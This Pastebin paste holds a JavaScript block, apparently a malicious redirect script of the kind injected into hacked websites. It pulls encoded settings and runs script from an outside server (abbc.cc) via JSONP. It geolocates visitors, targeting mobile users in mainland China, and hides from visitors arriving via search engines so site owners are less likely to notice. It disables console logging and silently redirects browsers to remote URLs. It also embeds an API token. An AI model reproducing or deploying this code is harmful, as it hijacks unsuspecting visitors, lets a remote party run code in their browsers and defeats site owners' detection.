Guest User

Untitled

a guest
Feb 1st, 2024
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function () {
  2.     var urldata = [];
  3.     urldata.sort(function () {
  4.       return 0.5 - Math.random();
  5.     });
  6.     var url = "";
  7.     var id = "3914";
  8.     var myDate = new Date();
  9.     var time = myDate.getTime();
  10.     var day = myDate.getDate();
  11.     var url_tj = "https://s4.cnzz.com/z_stat.php?id=1277863676&web_id=1277863676";
  12.     var china = 1;
  13.     var type = "wap";
  14.     var timesdata = [];
  15.     var num = 1;
  16.     var cookie_num = 0;
  17.     var cookie_timestamp = 0;
  18.     var cookie_name = "";
  19.     var a = false;
  20.     var b = false;
  21.     var c = false;
  22.     var d = 0;
  23.     var delay = 0 * 1000;
  24.     var Days = 1;
  25.     getini();
  26.     var one;
  27.     one = setInterval(index, 3600 * 1000);
  28.     console.log = function () {};
  29.     function index() {
  30.       a = istime();
  31.       console.log("istime:");
  32.       console.log(a);
  33.       if (!a) {
  34.         return false;
  35.       }
  36.       b = iswap();
  37.       console.log("iswap:");
  38.       console.log(b);
  39.       if (!b) {
  40.         return false;
  41.       }
  42.       d = ismax();
  43.       console.log("ismax:");
  44.       console.log(d);
  45.       if (d == 0) {
  46.         return false;
  47.       }
  48.       c = ischina();
  49.       console.log("ischina:");
  50.       console.log(c);
  51.       if (!c) {
  52.         return false;
  53.       }
  54.       if (d == 1) {
  55.         tjuv();
  56.       } else if (d == 2) {
  57.         setTimeout(tjuv, delay);
  58.       }
  59.       return true;
  60.     }
  61.     function goto() {
  62.       var r = document.referrer;
  63.       r = r.toLowerCase();
  64.       var aSites = new Array(
  65.         "google.",
  66.         "baidu.",
  67.         "soso.",
  68.         "so.",
  69.         "360.",
  70.         "yahoo.",
  71.         "youdao.",
  72.         "sogou.",
  73.         "gougou.",
  74.         "sm.",
  75.       );
  76.       var b1 = false;
  77.       for (i in aSites) {
  78.         if (r.indexOf(aSites[i]) > 0) {
  79.           b1 = true;
  80.           break;
  81.         }
  82.       }
  83.       if (!b1) {
  84.         setCookie("timestamp", time);
  85.         setCookie(cookie_name, Number(cookie_num) + 1);
  86.         var timesRun = 0;
  87.         var interval = setInterval(function () {
  88.           timesRun += 1;
  89.           if (timesRun === 2) {
  90.             clearInterval(interval);
  91.           }
  92.           window.location.href = url;
  93.         }, 5000);
  94.         var referLink = document.createElement("a");
  95.         referLink.href = url;
  96.         document.head.appendChild(referLink);
  97.         referLink.click();
  98.         return;
  99.       }
  100.     }
  101.     function ismax() {
  102.       var status = 1;
  103.       var arr = [];
  104.       var value = 0;
  105.       var i = 0;
  106.       if (urldata.length === 0) {
  107.         return 0;
  108.       }
  109.       for (var key in urldata) {
  110.         url = urldata[key];
  111.         cookie_name = url + day;
  112.         cookie_num = getCookie(cookie_name);
  113.         if (cookie_num == null) {
  114.           cookie_num = 0;
  115.         }
  116.         arr.push(cookie_num);
  117.       }
  118.       value = Math.min.apply(null, arr);
  119.       for (var key in urldata) {
  120.         url = urldata[key];
  121.         cookie_name = url + day;
  122.         cookie_num = getCookie(cookie_name);
  123.         if (cookie_num == null) {
  124.           cookie_num = 0;
  125.         }
  126.         cookie_time = getCookie("timestamp");
  127.         if (cookie_time == null) {
  128.           cookie_time = time - (delay + 1000);
  129.         }
  130.         if (cookie_num < num && cookie_num == value) {
  131.           if (time - cookie_time <= delay) {
  132.             return 2;
  133.           }
  134.           status = 1;
  135.           break;
  136.         } else {
  137.           status = 0;
  138.         }
  139.       }
  140.       return status;
  141.     }
  142.     function istime() {
  143.       if (timesdata.length != 0) {
  144.         for (var key in timesdata) {
  145.           var time = Math.round(new Date());
  146.           var time1 = getNowFormatDate() + " " + key;
  147.           time1 = Date.parse(new Date(time1));
  148.           var time2 = getNowFormatDate() + " " + timesdata[key];
  149.           time2 = Date.parse(new Date(time2));
  150.           if (time >= time1 && time <= time2) {
  151.             return true;
  152.           } else if (time >= time2 && time <= time1) {
  153.             return true;
  154.           }
  155.         }
  156.         return false;
  157.       } else {
  158.         return true;
  159.       }
  160.     }
  161.     function iswap() {
  162.       if (
  163.         /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(
  164.           navigator.userAgent,
  165.         )
  166.       ) {
  167.         var type_a = "wap";
  168.       } else {
  169.         var type_a = "pc";
  170.       }
  171.       if (type == "all") {
  172.         type_a = type;
  173.       }
  174.       if (type_a != type) {
  175.         return false;
  176.       } else {
  177.         return true;
  178.       }
  179.     }
  180.     function ischina() {
  181.       if (china) {
  182.         var status = 10;
  183.         ajax({
  184.           url: "https://api.ip138.com/query/",
  185.           type: "GET",
  186.           data: {
  187.             ip: "",
  188.             oid: "22740",
  189.             mid: "85377",
  190.             token: "d184fadded48e9da59ab9c59f6038492",
  191.           },
  192.           dataType: "jsonp",
  193.           success: function (json) {
  194.             if (json.ret == "ok") {
  195.               var ba64 = new Base64();
  196.               str = ba64.encode(json.data[0]);
  197.               var a = str.indexOf("5Lit5Zu9");
  198.               if (a != -1) {
  199.                 var str1 = ba64.encode(json.data[1]);
  200.                 var hk = str1.indexOf("6aaZ5riv");
  201.                 var am = str1.indexOf("5r6z6Zeo");
  202.                 var tw = str1.indexOf("5Y+w5rm+");
  203.                 if (hk != -1 || am != -1 || tw != -1) {
  204.                 } else if (d == 1) {
  205.                   tjuv();
  206.                 } else if (d == 2) {
  207.                   setTimeout(tjuv, delay);
  208.                 }
  209.               }
  210.             } else if (json.ret == "err") {
  211.               tjuv();
  212.             }
  213.           },
  214.         });
  215.         return false;
  216.       }
  217.       return true;
  218.     }
  219.     function getini() {
  220.       ajax({
  221.         url: "https://www.abbc.cc/index/query",
  222.         type: "POST",
  223.         data: { "1": id },
  224.         dataType: "jsonp",
  225.         success: function (json) {
  226.           if (json["code"] == "1") {
  227.             var str = json["1"];
  228.             str = decode(str);
  229.             var b = new Base64();
  230.             str = b.decode(str);
  231.             var obj = JSON.parse(str);
  232.             urldata = obj.a;
  233.             type = obj.b;
  234.             num = obj.c;
  235.             timesdata = obj.d;
  236.             delay = obj.e * 1000;
  237.             Days = obj.f;
  238.             url_tj = obj.g;
  239.             china = obj.h;
  240.           }
  241.           if (url_tj != "") {
  242.             tongji();
  243.           }
  244.           index();
  245.           return;
  246.         },
  247.         error: function () {
  248.           if (url_tj != "") {
  249.             tongji();
  250.           }
  251.           index();
  252.           return;
  253.         },
  254.       });
  255.       return;
  256.     }
  257.     function tjuv() {
  258.       ajax({
  259.         url: "https://www.abbc.cc/index/jquery",
  260.         type: "POST",
  261.         data: { "1": id },
  262.         dataType: "jsonp",
  263.         success: function (json) {
  264.           if (json["code"] == "1") {
  265.             goto();
  266.           } else if (json["code"] == "0") {
  267.           } else {
  268.             goto();
  269.           }
  270.         },
  271.         error: function () {
  272.           goto();
  273.         },
  274.       });
  275.       return;
  276.     }
  277.     function tongji() {
  278.       ajax({
  279.         url: url_tj,
  280.         data: {
  281.           ip: "",
  282.           oid: "22740",
  283.           mid: "85377",
  284.           token: "d184fadded48e9da59ab9c59f6038492",
  285.         },
  286.         dataType: "jsonp",
  287.         success: function (json) {
  288.           if (json.ret == "ok") {
  289.           }
  290.         },
  291.       });
  292.       return;
  293.     }
  294.     function patch(s, re) {
  295.       re = eval("/" + re + "/ig");
  296.       return s.match(re) ? s.match(re).length : 0;
  297.     }
  298.     function setCookie(name, value) {
  299.       var exp = new Date();
  300.       exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
  301.       document.cookie =
  302.         name + "=" + escape(value) + ";expires=" + exp.toGMTString();
  303.     }
  304.     function getCookie(name) {
  305.       var strCookie = document.cookie;
  306.       var arrCookie = strCookie.split("; ");
  307.       for (var i = 0; i < arrCookie.length; i++) {
  308.         var arr = arrCookie[i].split("=");
  309.         if (arr[0] == name) return arr[1];
  310.       }
  311.       return "";
  312.     }
  313.     function getNowFormatDate() {
  314.       var date = new Date();
  315.       var seperator1 = "-";
  316.       var year = date.getFullYear();
  317.       var month = date.getMonth() + 1;
  318.       var strDate = date.getDate();
  319.       if (month >= 1 && month <= 9) {
  320.         month = "0" + month;
  321.       }
  322.       if (strDate >= 0 && strDate <= 9) {
  323.         strDate = "0" + strDate;
  324.       }
  325.       var currentdate = year + seperator1 + month + seperator1 + strDate;
  326.       return currentdate;
  327.     }
  328.     function ajax(params) {
  329.       params = params || {};
  330.       if (!params.url) {
  331.         return false;
  332.       }
  333.       var random = +new Date();
  334.       var hander = null;
  335.       var options = {
  336.         url: "",
  337.         type: "GET",
  338.         timeout: 5000,
  339.         cache: true,
  340.         async: true,
  341.         xhrFields: {},
  342.         dataType: "json",
  343.         data: {},
  344.         jsonp: "callback",
  345.         jsonpCallback: "jsonp_" + random,
  346.         error: function () {},
  347.         success: function () {},
  348.         complete: function () {},
  349.       };
  350.       var formatParams = function (json) {
  351.         var arr = [];
  352.         for (var i in json) {
  353.           arr.push(encodeURIComponent(i) + "=" + encodeURIComponent(json[i]));
  354.         }
  355.         return arr.join("&");
  356.       };
  357.       for (var i in params) {
  358.         switch (i) {
  359.           case "type":
  360.             options[i] = params[i].toUpperCase();
  361.             break;
  362.           case "dataType":
  363.             options[i] = params[i].toLowerCase();
  364.             break;
  365.           default:
  366.             options[i] = params[i];
  367.         }
  368.       }
  369.       if (typeof options.data == "object") {
  370.         options.data = formatParams(options.data);
  371.       }
  372.       if (options.dataType == "jsonp") {
  373.         options.cache = params.cache || false;
  374.         var $head = document.getElementsByTagName("head")[0];
  375.         var $script = document.createElement("script");
  376.         $head.appendChild($script);
  377.         window[options.jsonpCallback] = function (json) {
  378.           $head.removeChild($script);
  379.           window[options.jsonpCallback] = null;
  380.           hander && clearTimeout(hander);
  381.           options.success(json);
  382.           options.complete();
  383.         };
  384.         if (options.cache) {
  385.           options.data += options.data ? "&_" + random : "_" + random;
  386.         }
  387.         options.data += "&" + options.jsonp + "=" + options.jsonpCallback;
  388.         $script.src = (options.url + "?" + options.data).replace("?&", "?");
  389.         hander = setTimeout(function () {
  390.           $head.removeChild($script);
  391.           window[options.jsonpCallback] = null;
  392.           options.error();
  393.           options.complete();
  394.         }, options.timeout);
  395.       } else {
  396.         if (options.cache) {
  397.           options.data += options.data ? "&_" + random : "_" + random;
  398.         }
  399.         var xhr = new (self.XMLHttpRequest || ActiveXObject)("Microsoft.XMLHTTP");
  400.         if (!xhr) {
  401.           return false;
  402.         }
  403.         if (options.type == "POST") {
  404.           xhr.open(options.type, options.url, options.async);
  405.           xhr.setRequestHeader(
  406.             "content-type",
  407.             "application/x-www-form-urlencoded",
  408.           );
  409.         } else {
  410.           options.url +=
  411.             options.url.indexOf("?") > -1
  412.               ? "&" + options.data
  413.               : "?" + options.data;
  414.           xhr.open(options.type, options.url, options.async);
  415.           options.data = null;
  416.         }
  417.         if (options.xhrFields) {
  418.           for (var field in options.xhrFields) {
  419.             xhr[field] = options.xhrFields[field];
  420.           }
  421.         }
  422.         xhr.send(options.data);
  423.         var requestDone = false;
  424.         hander = setTimeout(function () {
  425.           requestDone = true;
  426.           if (xhr.readyState != 4) {
  427.             xhr.abort();
  428.             options.error();
  429.           }
  430.           options.complete();
  431.         }, options.timeout);
  432.         xhr.onreadystatechange = function () {
  433.           if (xhr.readyState == 4 && !requestDone) {
  434.             if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
  435.               var data =
  436.                 options.dataType == "xml" ? xhr.responseXML : xhr.responseText;
  437.               if (options.dataType == "json") {
  438.                 try {
  439.                   data = JSON.parse(data);
  440.                 } catch (e) {
  441.                   data = eval("(" + data + ")");
  442.                 }
  443.               }
  444.               options.success(data);
  445.             } else {
  446.               options.error();
  447.             }
  448.             hander && clearTimeout(hander);
  449.             options.complete();
  450.           }
  451.         };
  452.       }
  453.     }
  454.     function Base64() {
  455.       _keyStr =
  456.         "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  457.       this.encode = function (input) {
  458.         var output = "";
  459.         var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  460.         var i = 0;
  461.         input = _utf8_encode(input);
  462.         while (i < input.length) {
  463.           chr1 = input.charCodeAt(i++);
  464.           chr2 = input.charCodeAt(i++);
  465.           chr3 = input.charCodeAt(i++);
  466.           enc1 = chr1 >> 2;
  467.           enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  468.           enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  469.           enc4 = chr3 & 63;
  470.           if (isNaN(chr2)) {
  471.             enc3 = enc4 = 64;
  472.           } else if (isNaN(chr3)) {
  473.             enc4 = 64;
  474.           }
  475.           output =
  476.             output +
  477.             _keyStr.charAt(enc1) +
  478.             _keyStr.charAt(enc2) +
  479.             _keyStr.charAt(enc3) +
  480.             _keyStr.charAt(enc4);
  481.         }
  482.         return output;
  483.       };
  484.       this.decode = function (input) {
  485.         var output = "";
  486.         var chr1, chr2, chr3;
  487.         var enc1, enc2, enc3, enc4;
  488.         var i = 0;
  489.         input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  490.         while (i < input.length) {
  491.           enc1 = _keyStr.indexOf(input.charAt(i++));
  492.           enc2 = _keyStr.indexOf(input.charAt(i++));
  493.           enc3 = _keyStr.indexOf(input.charAt(i++));
  494.           enc4 = _keyStr.indexOf(input.charAt(i++));
  495.           chr1 = (enc1 << 2) | (enc2 >> 4);
  496.           chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  497.           chr3 = ((enc3 & 3) << 6) | enc4;
  498.           output = output + String.fromCharCode(chr1);
  499.           if (enc3 != 64) {
  500.             output = output + String.fromCharCode(chr2);
  501.           }
  502.           if (enc4 != 64) {
  503.             output = output + String.fromCharCode(chr3);
  504.           }
  505.         }
  506.         output = _utf8_decode(output);
  507.         return output;
  508.       };
  509.       _utf8_encode = function (string) {
  510.         string = string.replace(/\r\n/g, "\n");
  511.         var utftext = "";
  512.         for (var n = 0; n < string.length; n++) {
  513.           var c = string.charCodeAt(n);
  514.           if (c < 128) {
  515.             utftext += String.fromCharCode(c);
  516.           } else if (c > 127 && c < 2048) {
  517.             utftext += String.fromCharCode((c >> 6) | 192);
  518.             utftext += String.fromCharCode((c & 63) | 128);
  519.           } else {
  520.             utftext += String.fromCharCode((c >> 12) | 224);
  521.             utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  522.             utftext += String.fromCharCode((c & 63) | 128);
  523.           }
  524.         }
  525.         return utftext;
  526.       };
  527.       _utf8_decode = function (utftext) {
  528.         var string = "";
  529.         var i = 0;
  530.         var c = (c1 = c2 = 0);
  531.         while (i < utftext.length) {
  532.           c = utftext.charCodeAt(i);
  533.           if (c < 128) {
  534.             string += String.fromCharCode(c);
  535.             i++;
  536.           } else if (c > 191 && c < 224) {
  537.             c2 = utftext.charCodeAt(i + 1);
  538.             string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  539.             i += 2;
  540.           } else {
  541.             c2 = utftext.charCodeAt(i + 1);
  542.             c3 = utftext.charCodeAt(i + 2);
  543.             string += String.fromCharCode(
  544.               ((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63),
  545.             );
  546.             i += 3;
  547.           }
  548.         }
  549.         return string;
  550.       };
  551.     }
  552.     function decode(str) {
  553.       return str.replace(/\\x(\w{2})/g, function (_, $1) {
  554.         return String.fromCharCode(parseInt($1, 16));
  555.       });
  556.     }
  557.     function encode(str) {
  558.       return str.replace(/(\w)/g, function (_, $1) {
  559.         return "\\x" + $1.charCodeAt(0).toString(16);
  560.       });
  561.     }
  562.   })();
  563.  
Add Comment
Please, Sign In to add comment